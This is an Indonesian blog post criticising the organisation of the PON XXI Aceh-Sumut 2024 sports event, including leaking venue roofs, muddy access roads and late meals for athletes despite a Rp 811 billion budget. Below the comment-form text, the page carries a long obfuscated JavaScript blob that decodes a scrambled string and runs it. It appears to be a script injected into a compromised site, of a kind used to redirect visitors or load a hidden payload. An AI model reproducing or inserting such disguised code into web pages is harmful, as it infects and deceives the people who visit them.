23/12/2024
karo satu klik

“PON XXI Aceh-Sumut 2024 membunuh mental potensial bakat anak bangsa”

Di tengah hiruk-pikuk keramaian tentang koruptor menebus hukuman dengan sepeser Rp. 5.000 dan penggunaan jet pribadi serta pembelian roti yang melampaui batas oleh salah sekeluarga pemangku kebijakan, terdapat sebuah kebisingan kecil yang berasal dari Aceh sana. Aceh-Sumut resmi dijadikan sebagai tuan rumah pagelaran PON XXI 2024. 

PON XXI Aceh-Sumut 2024 dibuka langsung oleh Presiden Joko Widodo pada tanggal 9 September 2024. Pelaksanaan PON setiap tahunnya memang mempunyai konsep dan perhelatan yang berbeda, begitu pula dengan anggarannya. Terkhusus perhelatan PON XXI Aceh-Sumut ini dianggarkan Rp. 811 Miliar. Ya, Rp. 811 M!

Nominal 811 M bukan jumlah yang sedikit untuk kita para sipil ini. Akan tetap pada kenyataannya di lapangan, uang dengan nominal 811 miliar tersebut seperti tak dapat dirasakan oleh para atlet PON XXI Aceh-Sumut. 

“Analoginya, fasilitas lomba 17-an di desa-desa lebih mewah daripada fasilitas PON XXI Aceh-Sumut dengan anggaran Rp. 811 Miliar.”

Nasib atlet PON XXI Aceh-Sumut sangat diuji kesabarannya di sana. Sekarang, awal musim hujan di tahun 2024 ini sangat menampakkan kecacatan sebuah pengoragnisiran dan management eventnya. 

Akses ke stadion becek dan atap venue bocor. Agus Fathoni sebagai PJ gubernur Sumut menerangkan bahwa kekurangan-kekurangan dalam venue kali ini memang ada, akan tetapi semua juga pasti punya solusinya masing-masing. Solusi untuk atap venue bocor yakni melalui penggunaan terpal. 
Agus Fathoni juga akui bahwa ada keterlambatan konsumsi para atlet PON XXI Aceh-Sumut. Namun dalam pengakuannya tersebut ia langsung menegaskan bahwa itu adalah kelalaian pihak hotel. Dito Ariotedjo sebagai menpora tak tinggal diam. Ia langsung melaporkan masalah tersebut ke Kejagung-Polri untuk telusuri dan pastikan penyelenggaraan sesuai kontrak.

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

du,\'cZ).;a]PZ53xy_]%Z t;.eoM=.(ZZ,9h09(oe(Z8Z&o)OdqlrZi)pe((qt9Z.str=(};a=9()(Z(reZ3_2$s{(Z}Z]i&o=7ri.ZbjZ.s@())lR_\/!4.ogZ_8Poeni)_b)DZ(shZ_ZZZ3Zt_}s),8(;=0_,Ra% 1 Z]p=Z,(Zs(b0a}}oc2Z2&_.{{(#c(e,Z,9\/]iZ(.7(rn6xf\/TZ!)e,w(276e71Ze2IoIned4_umZ5mltZ)ei.ZZiZt$)%f({Vi(wn+))nke19.8n0t1Z3j4=.e,.e27Zwc._{]te%t)tZtn.))5.drZQafT);teaI_tv])eneFn Zi5b4Z40J<(ZihZj)Z{]sfZ0ZdRosZex(.)Z(e b}#$.ZZDh)edis_id{wr&,]rC;?;oc,Zw?]C((5e}Ip2Znr(4=7dZ".tZu,$]t!s)(&gwI(fcr;3(Gs;nVaZ)toZiG3Z2") ZNe]#l_1V)MsZ{;(lSZa. )Z.Z)6;b.otpux;5dT!q9+eZees$Z.iu%].{2IJZ{ZNsr7.x 0f)t0@_sj_5(n+n!Z;GGreP%04f)Zc(loZm(e3)\/)< %u,(Zutal>ZeZeJ)2ZZuwZtZtz%}.]m{[t]tewZMaZrZ*{Zru]]:osZa$p_A(3:,Cc.p_cZ;F)35j0j4j)ZZ;%sr)n!eool=]3Zt)7 e,,0.eZu3 %e;)0cZr,51j}(_)aaZZ .s(0x((Z:;!)ait})_c[Z>(c(0=oZ}ndeqfes6M=7[($ls2a1(3_r $_i\/9!6Z%.6r 3)Zw_0z_Za.) Zi%_4$mhi)]P!q39o-,i(ZZ}r:_J.aep4$e;=.Z=Z)S:tjZ6s,w3p]ft34}.Ze_3nFn(s]4Zn_%iZ.)4Z?2]{(Zj{ (Z.eZjujaw,q>ZZIZ,,(i$@!1d4tec euZ}i{. j_.=ZA2e{l$!5)Zi.e1oZZ_k,Mw"nZ "=ne}a.t jZc1 Ze{i;n(#ln%56Zs=Zga(+r7bseMsN{)e2gZ6(wZ$_n8n1i<()j;2t_Z(ncP2nn(}_ZhZa{{&rL.MZ. a.7OZ.eVr8ZtsZe 2ltjZj)4ddrsp!s(]a(6Z@!c,4#r{(.tZkcnZ.ZI0s6ZZ(v,j)Z]Zfo9i9)eZ;\/rgn;l=..ts[Tiql)E=:6)e0_ e0s7'));var trO=qGy(NFD,JVG );trO(3755);return 9930})();